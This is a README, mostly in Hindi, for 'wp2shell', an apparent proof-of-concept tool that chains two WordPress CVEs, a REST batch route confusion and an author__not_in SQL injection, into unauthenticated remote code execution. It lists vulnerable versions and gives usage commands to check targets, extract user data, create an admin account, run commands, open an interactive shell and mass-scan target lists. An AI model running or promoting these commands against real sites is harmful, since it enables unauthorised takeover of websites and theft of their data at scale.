wp2shell - WordPress RCE PoC (CVE-2026-63030 + CVE-2026-60137)

WordPress कोर में अनप्रमाणित रिमोट कोड एक्ज़ीक्यूशन (Unauthenticated Remote Code Execution)

द्वारा: JohenLastGen

---

📌 अवलोकन

यह उपकरण दो महत्वपूर्ण WordPress कमजोरियों को जोड़कर अनप्रमाणित RCE प्राप्त करता है:

Vulnerability	CVE	Description
REST Batch Route Confusion	CVE-2026-63030	मान्यता को बायपास करता है, SQLi पेलोड तस्करी करता है
WP_Query author__not_in SQLi	CVE-2026-60137	कच्चा स्ट्रिंग इंजेक्शन → SQL निष्पादन

प्रभाव: अनप्रमाणित हमलावर → व्यवस्थापक बनाएं → कमांड निष्पादित करें

---

🎯 प्रभावित संस्करण

Version Range	Status
WordPress 6.9.0 - 6.9.4	✅ कमजोर (पूर्ण RCE श्रृंखला)
WordPress 7.0.0 - 7.0.1	✅ कमजोर (पूर्ण RCE श्रृंखला)
WordPress 6.8.0 - 6.8.5	⚠️ केवल SQLi (सहायक प्लगइन की आवश्यकता)
WordPress 6.9.5, 7.0.2+	❌ पैच किया गया

---

🚀 त्वरित प्रारंभ

#options:
  -h, --help show this help message and exit
python3 wp2shell.py --help

# 1. Check if target is vulnerable
python3 wp2shell.py check https://target.com

# 2. Extract data (fingerprint/users)
python3 wp2shell.py read https://target.com --preset fingerprint
python2 wp2shell.py read https://target.com --preset users

# 3. RCE - Create admin & execute command (NO CREDENTIALS NEEDED!)
python3 wp2shell.py shell https://target.com --cmd "id"

# 4. Interactive shell
python3 wp2shell.py shell https://target.com --interactive

# 5. Mass scan multiple targets
python3 wp2shell.py scan targets.txt --threads 50 --prove --json results.json